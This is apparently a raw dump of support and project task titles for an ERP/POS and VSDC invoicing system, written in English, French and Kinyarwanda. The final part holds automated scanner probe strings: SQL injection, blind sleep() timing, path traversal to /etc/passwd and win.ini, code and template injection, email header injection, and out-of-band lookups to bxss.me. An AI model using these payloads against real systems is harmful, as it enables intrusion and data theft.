VSDC BACKUP AND CHECK ZREPORT

UPDATE VSDC,ERP TO NEW VERSION WHICH PULL ITEMS,STOCK AND PUSH TO RRA BACKOFFICE

GUHUZA IBICIRO BYA CASHNORM

CONFIGURE AUTOBACKUP AND HELP ON SYSTEM CALCULATION ERROR

CLIENT SORAS BATABA REGISTERED

UPDATE BOTH ERP AND VSDC TO NEW VERSION

GLOBAL ACCOUNT ZITAMANUKA

FACTURE ZA RAMA ZIDASOHOKA

CREATE NEW ACCOUNT (GLOBAL ACCOUNT) OF VINE EMPLOYEES

Bon de Livraison not appearing in the System

ANALYSE WHY STOCK ANTERIEUR FICHIER ON CERTAIN DATE WAS NOT COMING AND CORRECT IT

TESTING POS CAISSE FOR SYSTEM CALCULATION ERROR

CHECKING IF NEW VSDC VERSION IS REPORTING

CHECKING REASONS WHY SOME INVOICES ARE NOT REPORTED IN RRA

CONFIGURE TRACEABILITY AND TEST IT

GUKOSORA BLV YARI YASOHOTSE KUMU CLIENT UTARIWE

GUKOSORA BLT IFITE IKIBAZO CYA DEVISE

SYSTEM ERROR CALCULATION

EVALUATION VENTE GROS

EVALUATION VENTE GROS

GUKOSORA ITEM ITAREKANAGA UMU SPECIALIST MUJYIHE BARI KUYICURUZA

REMOVE SOME DATA FROM C, IT WAS FULL AND ISHYIGA WAS NOT STARTING

INCOMPLET INVOICES AND AUTO REFUND UPDATE POS VERSION TO TESTING VERSION TO CHECK SYSTEM CALCULATION ERROR

SET DEFAULT PRINTER, REPRINT MVT SORTIE

SET DEFAULT PRINTER, REPRINT MVT SORTIE AND HELP TO START VSDC

COMPLET UNCOMPLETED INVOICES AND REFUND THEM AND CHECK UNBALANCED AND HELP ON SYSTEM CALCULATION ERROR

ARRIVAGE ITAGARAGARA

TRANSFER MISSING

SYSTEM IGENDA GACYE

CHECK INVOICES THAT WERE NOT REPORTED AND THE PROBLEM WITH THEIR XML

ISHYIGA SYSTEM WAS NOT WORKING WITH ERROR MESSAGE THAT IT CAN\'T BE OPEN

START ISHYIGA ON NEW IP ADDRESS, CHECK ZD_REPORT AND EBM2 BACKOFFICE

GUKOSORA FRSS KURI BLA

CLIENTS BATAGARAGARAGA MURI COMPTA

CHANGE SERVER, UPDATE ISHYIGA SYSTEM AND VSDC INSTALLATION

SHARE ISHYIGA TO OTHER MACHINE,GUKURAHO DISCOUNT,VISUALIZER VIREMENT

REPORT DE CAISSE ITAGARAGARA

LANGUE CREATION

GUKOSORA FACTURE ZA ASSURANCE ZASOHOTSE ARI CASH

UNDERSTAND AND REPORT ERROR

UPDATE SOCIETE COMANY WITH DISCOUNT BASED ON CASH PRICE

UPDATE EXPIRE DATE ON ITEMS ENTERED BY SERIES AND REPORT THE ERROR

UPDATE EXPIRE DATE ON ITEMS ENTERED BY SERIES AND REPORT THE ERROR

UPDATE EXPIRE DATE ON ITEMS ENTERED BY SERIES AND REPORT THE ERROR

CHECKING REASONS WHY SOME INVOICES ARE NOT REPORTED IN RRA ,UPDATE VSDC ,REPUSH THOSE INVOICES

GUKOSORA FACTURE ZITABAYE REPORTED MURI RRA KUBERA IKIBAZO CYA TIN

GUKOSORA FACTURE ZITABAYE REPORTED MURI RRA KUBERA IKIBAZO CYA SPECIAL CHARACTERS

KUREBA IMPAMVU HARI INFORMATION ZITAGAGARA KURI DP

CHECK INVOICE SAID NOT TO BE REPORTED, UNBALLANCED IN FOUND OCTOBER

CHECK INVOICE SAID NOT TO BE REPORTED, UNBALLANCED IN FOUND OCTOBER

UPDATE BOTH POS AND VSDC TO NEW VERSION

Creation of new account and and Giving Access

INVENTORY REPORT

KUREBA IMPAMVU ARRIVAGE YA JIANGSU YARI YANZE KWINJIRA

TEST ISHYIGA POS NO SDC FOR GADIEL, PREPARE AND SEND EMAILS

GUKORA DOCUMENT ICE CREAM TEAM IZAJYA ISHYIRAMO IBYO BAKOZE

GUKORA DOCUMENT ICE CREAM TEAM IZAJYA ISHYIRAMO IBYO BAKOZE

TEST INTEGRATION OF COMPTA AND SAGE

TEST INTEGRATION OF COMPTA AND SAGE AND LIVE DATA FROM POS

FREE SOME SPACE FROM LOCAL DISK C TO START ISHYIGA SYSTEM

CHECK INVOICE SAID NOT TO BE REPORTED

PREPARE DELPOYMENT PLAN, PREPARE AND SEND EMAILS TO CLIENTS FOR UPDATE

2 DELIVERIES WERE NOT COMPTABILISED AND SOME CLIENTS WERE NOT VISIBLE IN ISHYIGA COMPTA

Follow up Sync Receipts

TESTING COMPTA WITH PMSS, KUJYANA DOCUMENT JYAMBERE ISABA UPDATE, GUTEGURA DB YA KACYIRU HOSPITAL

TESTING COMPTA WITH PMSS, KUJYANA DOCUMENT JYAMBERE ISABA UPDATE

PREPARE DB FOR KACYIRU HOSPITAL

INAMA NA KIPHARMA NO KUBASOBANURIRA RELEASE NOTE YA UPDATE

KUREBA IMPAMVU BACANAGA ISHYIGA NTIRYAKE

COMMUNICATE ABOUT NEW VERSION UPDATE

KUREBA IMPAMVU COMMAND CERCLE ZIDATAMBUKA

SIMULATION OF INEZA

RSSB INVOICE BENEFICIARY HAZAGAHO ADHERENT

PREPARE TESTING PLAN ON RESOLVED BUGS,WORK WITH JEAN PAUL AND RACHEL TO CHECK SOME

PREPARE TESTING PLAN ON RESOLVED BUGS,WORK WITH JEAN PAUL AND RACHEL TO CHECK SOME BUGS

PREPARE TESTING PLAN ON RESOLVED BUGS,WORK WITH JEAN PAUL AND RACHEL TO CHECK SOME BUGS

PREPARE TESTING PLAN ON RESOLVED BUGS,WORK WITH SOME EMPLOYEES TO CHECK SOME BUGS

INAMA NA KIPHARMA YA NEW ACCESS

Raport de caisse itangana na raport de vente

Error Message Coming when you make transaction in Pos Cmd

Rebill Invoices

Issues reporting on mentis bug tool

KUREBA IMPAMVU BACANA ISHYIGA HASHIRA AKANYA RIGAHITA RIVAHO

FACTURE ZITABA ANNULE

TRAINING ABOUT NEW FEATURES AND BUG SOLVED IN ERP AND VSDC INCLUDING RECONCILLIATION

Kureba Impamvu reflesh itinda no gusobanura uko Bug zacyemutse

MAKING VIDEO TUTORIALS SHOWING HOW TO UPDATE COMPANY PRICE

CREATING NEW SOCIETY IN ALL BLANCHES

PRICES ON DELIVERIES WERE NOT BEING UPDATED IN MVT REPORT ,I TESTED IT AND UPDATE

PRICES ON DELIVERIES WERE NOT BEING UPDATED IN MVT REPORT ,I TESTED IT AND UPDATE

PRICES ON DELIVERIES WERE NOT BEING UPDATED IN MVT REPORT ,I TESTED IT AND UPDATE

GUKORA TEST KURI BUGS ZA COMPTA, HARIMO NA COMPTA-SAGE NO GUKORA WORD DOCUMENT IGARAGAZA UKO COMPTA-SAGE BIGENDA

MEET WITH KH STAF TO DISCUSS ABOUT CODIFICATION PROCESS

GUTEGURA EXCEL DETAIL IGENDEYE KUYO BATANZE ,KUZUZAMO INVENTAIRE TWAKOZE

GUTEGURA EXCEL DETAIL IGENDEYE KUYO BATANZE ,KUZUZAMO INVENTAIRE TWAKOZE

GUTEGURA EXCEL DETAIL IGENDEYE KUYO BATANZE ,KUZUZAMO INVENTAIRE TWAKOZE

CYCLE 10 PLANNING

CYCLE 10 PLANNING

UNDERSTAND BUGS FOR PRIORITIES, BUG DEPENDENCES, DEPLOYMENT PLAN FOR CLIENT ON CYCLE 9

DISCUSS ABOUT NEW THINGS TO ADD IN CYCLE 10 PLAN FOR DEV AND TESTERS

TAKE DB FROM CLIENT TO BE USED IN TEST

TAKE DB FROM CLIENT TO BE USED IN TESTING AND TEST THE ISSUE REPORTED

TAKE TO BE USED IN TESTING AND TEST THE ISSUE REPORTED

INVENTORY ERROR

CHECHING WHY VSDC IS NOT SIGNING INVOICE

UPDATE SOCIETE WITH DISCOUNT BASED ON CASH PRICE

UPDATING SOCIETE WITH ANY DISCOUNT

CREATING NEW INSURANCE

FOLLOW UP ON NEW VERSION GIVEN ,EXPLAIN ABOUT CHANGES ON RSSB INVOICES

ERROR MUKWINJIZA LIVRAISON

INCOMPLITE INVOICES AND AUTO REFUND

CHECK THE PROBLEM OF DELIVERY PRINTOUT COMPARE THAT PRINTOUT TO OTHERS FROM OTHER CLIENT, AND REPORT THE BUG

GUKORA TRAINING FORM

report Analysis

PROJECT ANALYSIS

DOCUMENT ANALYSIS

TRAINING AUTO COMMAND

CONFIRMATION DE PRIX DE VENTE(CALCUL)

IMPORTATION DE FACTURE ZISHYIGA ZIJYA MURI SAGE

BLV PRINTOUT FORMAT IZA NABI

Reminder on ishyiga function

ITEM VALIDATION

VSDC PRESANTATION

NIKI item validation

Finance manager

Bank statement control

Customer care Field visit

Debug Along with Developers

Update contract Negotiation

New sales negotiation

Ishyiga Product DEMO

response.write(9709268*9800043)

"+response.write(9709268*9800043)+"

-1 OR 2+81-81-1=0+0+0+1 --

-1 OR 2+448-448-1=0+0+0+1

-1 OR 2+473-473-1=0+0+0+1 --

-1 OR 2+521-521-1=0+0+0+1

-1" OR 2+139-139-1=0+0+0+1 --

../../../../../../../../../../../../../../etc/passwd

-1" OR 2+889-889-1=0+0+0+1 --

../../../../../../../../../../../../../../windows/win.ini

file:///etc/passwd

if(now()=sysdate(),sleep(15),0)

if(now()=sysdate(),sleep(15),0)

zFPWdwPk bcc:074625.323-10494.323.e87f2.19998.2@bxss.me

to@example.com> bcc:074625.323-10495.323.e87f2.19998.2@bxss.me

${9999799+9999676}

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

zFPWdwPk&n905864=v935973

Http://bxss.me/t/fit.txt

^(#$!@#$)(()))******

http://bxss.me/t/fit.txt?.jpg

c:/windows/win.ini

".gethostbyname(lc("hiteq"."geuyseby5a0d9.bxss.me."))."A".chr(67).chr(hex("58")).chr(105).chr(84).chr(107).chr(75)."

";print(md5(31337));$a="

${@print(md5(31337))}

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

zFPWdwPk"&&sleep(27*1000)*gncmka&&"

zFPWdwPk"||sleep(27*1000)*ojutrb||"

HttP://bxss.me/t/xss.html?%00

bxss.me/t/xss.html?%00

"+"A".concat(70-3).concat(22*4).concat(120).concat(70).concat(104).concat(76)+(require"socket" Socket.gethostbyname("hitpi"+"zoruneyk31b48.bxss.me.")[

add_function.php

add_function.php

add_function.php/.

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))